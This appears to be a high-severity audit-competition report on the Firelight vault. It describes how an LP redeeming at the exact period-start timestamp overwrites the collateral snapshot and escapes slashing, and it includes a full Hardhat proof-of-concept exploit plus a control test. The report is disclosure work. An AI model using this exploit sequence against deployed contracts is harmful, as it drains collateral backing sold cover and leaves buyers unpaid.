88712 sc high mutable period start snapshot lets lps remove collateral after it has been committed to cover

Submitted on Aug 14th 2026 at 17:02:00 UTC by @Jolyon for Audit Comp | Firelight

• Report ID: #88712

• Report Type: Smart Contract

• Report severity: High

• Target: https://github.com/immunefi-team/audit-comp-firelight/blob/v1_audit_ready/contracts/core/FirelightVault.sol

• Impacts:

  • Protocol insolvency

Description

Brief/Intro

Capacity commitment and claim payout do not use an immutable shared collateral snapshot. At period start T, the allocator commits cover against totalAssetsAt(T). An LP can then withdraw at the same timestamp and reduce that historical value. Settlement still uses the original commitment, while payout uses the reduced snapshot, allowing collateral backing already-sold cover to escape slashing.

Vulnerability Details

The allocator reads period-start assets and stores the resulting capacity in CoverOrderAllocator.sol and commitAllocation.

A later same-timestamp withdraw/redeem writes the reduced active-assets value through _logTrace. Checkpoints.push appends or replaces the checkpoint at T, and the inclusive lookup makes it authoritative.

Settlement continues using the stored commitment, but FirelightVault.payout re-reads the now-lower totalAssetsAt(T) as its payout cap.

The exploit requires an exact-T block, allocator-first ordering, and the attacker’s reduced checkpoint to remain the final relevant write at T.

Impact Details

If the allocator commits against A vault assets and the attacker subsequently withdraws X at the same timestamp, the vault payout cap can be reduced from A to A-X.

For a full exit where X=A, the vault payout becomes zero. The incident is nevertheless finalized by IncidentManager, while the attacker later claims the un-slashed collateral.

This creates an unfunded liability against already-sold cover and therefore maps to Protocol insolvency.

Proof of Concept

The attached Hardhat test reproduces the issue using the unmodified FirelightVault, CoverOrderAllocator, CoverNFT, and IncidentManager. Only the ERC20 asset and price feed are mocked; the test is fully local and does not use a fork or contact a live network.

The test performs the following sequence:

1

Deposit and create cover

An LP deposits 100 asset units into the vault, while the funded and approved first-loss buffer provides another 20 units.

A 120-unit cover order is created for period P.

2

Commit and redeem at the exact period start

At the exact start T of P, commitAllocation executes first and the LP's full redeem executes second in the same block.

The commitment retains 120 capacity, but the redemption changes totalAssetsAt(T) to zero while the vault still physically holds the 100 units as a delayed withdrawal.

3

Settle cover and process the incident

The cover is settled before a valid incident occurs. For the resulting 120-unit loss, the first-loss buffer pays 20, while the vault is requested to pay 100 but pays zero.

4

Claim escaped collateral

The incident closes, and at P+2 the LP claims the entire 100 units that should have remained slashable.

A negative-control test changes only the redemption timestamp from T to T+1. In that case, the period-start snapshot remains 100, the vault pays the complete 100-unit request, and the LP's later withdrawal claim reverts with NoWithdrawalAmount.

This demonstrates that mutating the already-consumed period-start checkpoint is the direct cause of the payout shortfall.

test/poc/F001.exact-period-boundary.js

npx hardhat test test/poc/F001.exact-period-boundary.js

const { expect } = require("chai");
const { ethers, network, upgrades } = require("hardhat");
const { time } = require("@nomicfoundation/hardhat-network-helpers");
const { StandardMerkleTree } = require("@openzeppelin/merkle-tree");

const DAY = 24n * 60n * 60n;
const VAULT_ASSETS = ethers.parseUnits("100", 6);
const FLB_ASSETS = ethers.parseUnits("20", 6);
const COVER = ethers.parseUnits("120", 18);
const ONE_USD = 10n ** 18n;

const buildSingleOrderTree = (orderId, marketId, allocatedCover) =>
  StandardMerkleTree.of(
    [[orderId, [[marketId, allocatedCover]]]],
    ["uint256", "(bytes32,uint256)[]"],
  );

async function deploySystem() {
  const signers = await ethers.getSigners();
  const [
    deployer,
    attacker,
    buyer,
    premiumCollector,
    firstLossBuffer,
    curator,
    allocatorRole,
    configAdmin,
    nftAdmin,
    incidentCurator,
    assessmentApprover,
    assessmentRejecter,
    incidentInvalidator,
    payoutReceiver,
  ] = signers;

  const MockERC20 = await ethers.getContractFactory("MockERC20");
  const asset = await MockERC20.deploy("Mock USD", "mUSD", 6);

  const Vault = await ethers.getContractFactory("FirelightVault");
  const encodedVaultInit = ethers.AbiCoder.defaultAbiCoder().encode(
    ["address", "address", "address", "address", "address", "address", "uint256", "uint48"],
    [
      deployer.address,
      ethers.ZeroAddress,
      ethers.ZeroAddress,
      ethers.ZeroAddress,
      ethers.ZeroAddress,
      ethers.ZeroAddress,
      ethers.parseUnits("1000000", 6),
      DAY,
    ],
  );
  const vault = await upgrades.deployProxy(Vault, [
    asset.target,
    "Firelight Staked Mock USD",
    "stmUSD",
    encodedVaultInit,
  ]);

  const MockAggregator = await ethers.getContractFactory("MockAggregatorV3");
  const priceFeed = await MockAggregator.deploy(18, ONE_USD);

  const CoverNFT = await ethers.getContractFactory("CoverNFT");
  const coverNFT = await upgrades.deployProxy(
    CoverNFT,
    ["Firelight Cover", "FLCOVER", "", nftAdmin.address, ethers.ZeroAddress, ethers.ZeroAddress, ethers.ZeroAddress],
    { kind: "transparent" },
  );

  const protocol = "Morpho";
  const market = ethers.encodeBytes32String("market-A");
  const marketId = ethers.keccak256(
    ethers.AbiCoder.defaultAbiCoder().encode(["uint64", "string", "bytes32"], [1, protocol, market]),
  );

  const Allocator = await ethers.getContractFactory("CoverOrderAllocator");
  const allocator = await upgrades.deployProxy(
    Allocator,
    [
      {
        vault: vault.target,
        premiumCollector: premiumCollector.address,
        coverNFT: coverNFT.target,
        priceFeedAdapter: priceFeed.target,
        maxPriceAge: 30n * DAY,
        premiumTokens: [asset.target],
        admin: deployer.address,
        adminRole: deployer.address,
        curatorRole: curator.address,
        allocatorRole: allocatorRole.address,
        configAdminRole: configAdmin.address,
        initialProtocolConcentrations: [
          { chainId: 1, protocol, maxProtocolConcentrationBps: 10_000 },
        ],
        newMarkets: [{ chainId: 1, protocol, market }],
        capacityConfig: {
          minCAR: 12_000,
          firstLossBufferToken: asset.target,
          firstLossBuffer: firstLossBuffer.address,
          effectiveLeverage: 12_000,
          minOrderMarketCoverAmount: 1,
          divergenceToleranceBps: 0,
        },
      },
    ],
    { kind: "transparent", unsafeAllow: ["missing-initializer-call"] },
  );

  await coverNFT.connect(nftAdmin).grantRole(await coverNFT.MINTER_ROLE(), allocator.target);

  const IncidentManager = await ethers.getContractFactory("IncidentManager");
  const incidentManager = await upgrades.deployProxy(
    IncidentManager,
    [
      deployer.address,
      incidentCurator.address,
      assessmentApprover.address,
      assessmentRejecter.address,
      incidentInvalidator.address,
      ethers.ZeroAddress,
      ethers.ZeroAddress,
      ethers.ZeroAddress,
      payoutReceiver.address,
      allocator.target,
      priceFeed.target,
      30n * DAY,
    ],
    { kind: "transparent", unsafeAllow: ["missing-initializer-call"] },
  );

  await vault.grantRole(await vault.PAYOUT_ROLE(), incidentManager.target);
  await vault.grantRole(await vault.INCIDENT_ROLE(), incidentManager.target);
  await vault.grantRole(await vault.PAYOUT_ALLOWLIST_ROLE(), deployer.address);
  await vault.addToPayoutAllowlist(payoutReceiver.address);

  // Keep the public external-FLB assumption satisfied: the buffer is both funded
  // and approved. It contributes 20 capacity and pays its full first-loss tranche.
  await asset.mint(firstLossBuffer.address, FLB_ASSETS);
  await asset.connect(firstLossBuffer).approve(incidentManager.target, FLB_ASSETS);

  await asset.mint(attacker.address, VAULT_ASSETS);
  await asset.connect(attacker).approve(vault.target, VAULT_ASSETS);
  await vault.connect(attacker).deposit(VAULT_ASSETS, attacker.address);

  await asset.mint(buyer.address, ethers.parseUnits("1", 6));
  await asset.connect(buyer).approve(allocator.target, ethers.MaxUint256);

  const capturePeriod = await vault.currentPeriod() + 1n;
  await allocator.connect(curator).createCoverOrder(
    buyer.address,
    buyer.address,
    "beneficiary:buyer",
    asset.target,
    [{ marketId, coverRateAnnual: 500, coverAmount: COVER }],
    0,
  );

  return {
    asset,
    vault,
    allocator,
    coverNFT,
    incidentManager,
    attacker,
    buyer,
    allocatorRole,
    incidentCurator,
    assessmentApprover,
    payoutReceiver,
    firstLossBuffer,
    marketId,
    capturePeriod,
  };
}

describe("PoC F-001: mutable inclusive period-start checkpoint", function () {
  it("commits 120 cover against 20 FLB + 100 vault assets, appends zero at T, and returns all vault collateral", async function () {
    const ctx = await deploySystem();
    const {
      asset,
      vault,
      allocator,
      coverNFT,
      incidentManager,
      attacker,
      buyer,
      allocatorRole,
      incidentCurator,
      assessmentApprover,
      payoutReceiver,
      firstLossBuffer,
      marketId,
      capturePeriod,
    } = ctx;

    const orderId = 0n;
    const allocation = { marketId, allocatedCover: COVER };
    const tree = buildSingleOrderTree(orderId, marketId, COVER);
    const proof = tree.getProof(0);
    const T = await vault.currentPeriodEnd();

    expect(await vault.totalAssets()).to.equal(VAULT_ASSETS);
    expect(await vault.totalAssetsAt(T - 1n)).to.equal(VAULT_ASSETS);
    expect(await vault.totalAssetsAt(T)).to.equal(VAULT_ASSETS);
    expect(await asset.balanceOf(firstLossBuffer.address)).to.equal(FLB_ASSETS);
    expect(await vault.currentPeriod()).to.equal(capturePeriod - 1n);

    // Mine the honest allocator commitment first and the attacker's redeem second
    // in one exact-boundary block. Both transactions therefore observe timestamp T,
    // while state transitions follow transaction order inside the block.
    let commitTx;
    let redeemTx;
    await network.provider.send("evm_setAutomine", [false]);
    try {
      await network.provider.send("evm_setNextBlockTimestamp", [Number(T)]);
      commitTx = await allocator.connect(allocatorRole).commitAllocation(
        capturePeriod,
        tree.root,
        COVER,
        COVER,
        {
          gasLimit: 8_000_000,
          maxFeePerGas: ethers.parseUnits("10", "gwei"),
          maxPriorityFeePerGas: ethers.parseUnits("2", "gwei"),
        },
      );
      redeemTx = await vault.connect(attacker).redeem(VAULT_ASSETS, attacker.address, attacker.address, {
        gasLimit: 8_000_000,
        maxFeePerGas: ethers.parseUnits("10", "gwei"),
        maxPriorityFeePerGas: ethers.parseUnits("1", "gwei"),
      });
      await network.provider.send("evm_mine");
    } finally {
      await network.provider.send("evm_setAutomine", [true]);
    }

    const commitReceipt = await commitTx.wait();
    const redeemReceipt = await redeemTx.wait();
    const boundaryBlock = await ethers.provider.getBlock(commitReceipt.blockNumber);

    expect(commitReceipt.blockNumber).to.equal(redeemReceipt.blockNumber);
    expect(commitReceipt.index).to.be.lessThan(redeemReceipt.index);
    expect(boundaryBlock.timestamp).to.equal(Number(T));
    expect(boundaryBlock.transactions.length).to.equal(2);
    expect(redeemReceipt.index).to.equal(boundaryBlock.transactions.length - 1);

    const commitment = await allocator.getAllocationCommitment(capturePeriod);
    expect(commitment.totalAvailableCapacity).to.equal(COVER);
    expect(commitment.totalDeclaredAllocated).to.equal(COVER);

    // The vault still physically holds all 100 tokens, but the active exposure
    // checkpoint at the already-consumed period start is now zero.
    expect(await vault.totalAssets()).to.equal(0n);
    expect(await vault.totalAssetsAt(T - 1n)).to.equal(VAULT_ASSETS);
    expect(await vault.totalAssetsAt(T)).to.equal(0n);
    expect(await vault.pendingWithdrawAssets()).to.equal(VAULT_ASSETS);
    expect(await vault.withdrawAssets(capturePeriod + 1n)).to.equal(VAULT_ASSETS);
    expect(await asset.balanceOf(vault.target)).to.equal(VAULT_ASSETS);

    // Settlement trusts the stored high commitment and does not re-read backing.
    const settlement = await allocator.connect(allocatorRole).settleCoverOrder(orderId, [allocation], proof);
    const settlementReceipt = await settlement.wait();
    const settlementBlock = await ethers.provider.getBlock(settlementReceipt.blockNumber);
    expect(await coverNFT.ownerOf(orderId)).to.equal(buyer.address);
    expect((await allocator.getAllocationCommitment(capturePeriod)).totalSettledCover).to.equal(COVER);

    // Capture the incident strictly after the cover has settled. This keeps the PoC
    // independent from any post-loss/hindsight-cover interpretation: the cover is
    // already active before the loss, while its capture period still starts at T.
    const incidentCapture = BigInt(settlementBlock.timestamp) + 1n;
    await time.setNextBlockTimestamp(incidentCapture);

    // Process a real IncidentManager assessment against the settled allocation.
    // The funded and approved FLB pays 20 first. The remaining 100-unit loss
    // is then requested from the vault, isolating the checkpoint defect.
    await incidentManager
      .connect(incidentCurator)
      .createIncident(incidentCapture, "F-001 boundary incident", ethers.id("F-001-boundary-incident"));
    await incidentManager.connect(incidentCurator).confirmIncident(1n, "ipfs://f001");
    await incidentManager.connect(incidentCurator).addAssessmentLosses(1n, [
      { coverTokenId: orderId, marketId, amount: COVER },
    ]);
    await incidentManager.connect(incidentCurator).submitCurrentAssessment(1n);

    // No intervening settlement/incident write restores the corrupted T snapshot.
    expect(await vault.totalAssetsAt(T)).to.equal(0n);
    expect(await vault.totalAssets()).to.equal(0n);
    expect(await vault.withdrawAssets(capturePeriod + 1n)).to.equal(VAULT_ASSETS);
    expect(await vault.pendingWithdrawAssets()).to.equal(VAULT_ASSETS);
    expect(await asset.balanceOf(vault.target)).to.equal(VAULT_ASSETS);

    const approval = incidentManager.connect(assessmentApprover).approveCurrentAssessment(1n);
    await expect(approval)
      .to.emit(vault, "PayoutExecuted")
      .withArgs(payoutReceiver.address, VAULT_ASSETS, 0n, incidentCapture);
    await expect(approval)
      .to.emit(incidentManager, "IncidentPayoutExecuted")
      .withArgs(
        1n,
        1n,
        capturePeriod,
        capturePeriod,
        payoutReceiver.address,
        firstLossBuffer.address,
        asset.target,
        FLB_ASSETS,
        COVER,
        VAULT_ASSETS,
        0n,
      );
    await expect(approval).to.emit(incidentManager, "IncidentClosed").withArgs(1n, 0n, COVER);

    const [incident] = await incidentManager.getIncident(1n);
    expect(incident.status).to.equal(4n); // CLOSED
    expect(incident.vaultPaidAmount).to.equal(0n);
    expect(await asset.balanceOf(payoutReceiver.address)).to.equal(FLB_ASSETS);
    expect(await asset.balanceOf(firstLossBuffer.address)).to.equal(0n);
    expect(await asset.balanceOf(vault.target)).to.equal(VAULT_ASSETS);

    // At P+2, the attacker claims the entire collateral that escaped the P loss.
    await time.increaseTo(T + 2n * DAY);
    expect(await vault.currentPeriod()).to.equal(capturePeriod + 2n);
    await expect(vault.connect(attacker).claimWithdraw(capturePeriod + 1n))
      .to.emit(vault, "CompleteWithdraw")
      .withArgs(attacker.address, VAULT_ASSETS, capturePeriod + 1n);

    expect(await asset.balanceOf(attacker.address)).to.equal(VAULT_ASSETS);
    expect(await asset.balanceOf(vault.target)).to.equal(0n);
    expect(await vault.pendingWithdrawAssets()).to.equal(0n);
  });

  it("control: a redeem at T+1 cannot rewrite the period-start cap and the 100-unit payout consumes the withdrawal", async function () {
    const ctx = await deploySystem();
    const {
      asset,
      vault,
      allocator,
      incidentManager,
      attacker,
      allocatorRole,
      incidentCurator,
      assessmentApprover,
      payoutReceiver,
      marketId,
      capturePeriod,
    } = ctx;

    const orderId = 0n;
    const allocation = { marketId, allocatedCover: COVER };
    const tree = buildSingleOrderTree(orderId, marketId, COVER);
    const proof = tree.getProof(0);
    const T = await vault.currentPeriodEnd();

    await time.setNextBlockTimestamp(T);
    await allocator.connect(allocatorRole).commitAllocation(capturePeriod, tree.root, COVER, COVER);

    // The only changed fact is timing: the exit occurs one second after the
    // boundary instead of at the already-consumed period-start key.
    await time.setNextBlockTimestamp(T + 1n);
    await vault.connect(attacker).redeem(VAULT_ASSETS, attacker.address, attacker.address);

    expect(await vault.totalAssetsAt(T)).to.equal(VAULT_ASSETS);
    expect(await vault.totalAssetsAt(T + 1n)).to.equal(0n);
    expect(await vault.pendingWithdrawAssets()).to.equal(VAULT_ASSETS);

    const settlement = await allocator.connect(allocatorRole).settleCoverOrder(orderId, [allocation], proof);
    const settlementReceipt = await settlement.wait();
    const settlementBlock = await ethers.provider.getBlock(settlementReceipt.blockNumber);
    const incidentCapture = BigInt(settlementBlock.timestamp) + 1n;
    await time.setNextBlockTimestamp(incidentCapture);

    await incidentManager
      .connect(incidentCurator)
      .createIncident(incidentCapture, "F-001 control incident", ethers.id("F-001-control-incident"));
    await incidentManager.connect(incidentCurator).confirmIncident(1n, "ipfs://f001-control");
    await incidentManager.connect(incidentCurator).addAssessmentLosses(1n, [
      { coverTokenId: orderId, marketId, amount: COVER },
    ]);
    await incidentManager.connect(incidentCurator).submitCurrentAssessment(1n);

    const approval = incidentManager.connect(assessmentApprover).approveCurrentAssessment(1n);
    await expect(approval)
      .to.emit(vault, "PayoutExecuted")
      .withArgs(payoutReceiver.address, VAULT_ASSETS, VAULT_ASSETS, incidentCapture);
    await expect(approval).to.emit(incidentManager, "IncidentClosed").withArgs(1n, VAULT_ASSETS, COVER);

    expect(await asset.balanceOf(payoutReceiver.address)).to.equal(FLB_ASSETS + VAULT_ASSETS);
    expect(await asset.balanceOf(vault.target)).to.equal(0n);
    expect(await vault.pendingWithdrawAssets()).to.equal(0n);

    await time.increaseTo(T + 2n * DAY);
    await expect(vault.connect(attacker).claimWithdraw(capturePeriod + 1n))
      .to.be.revertedWithCustomError(vault, "NoWithdrawalAmount")
      .withArgs(capturePeriod + 1n);
  });
});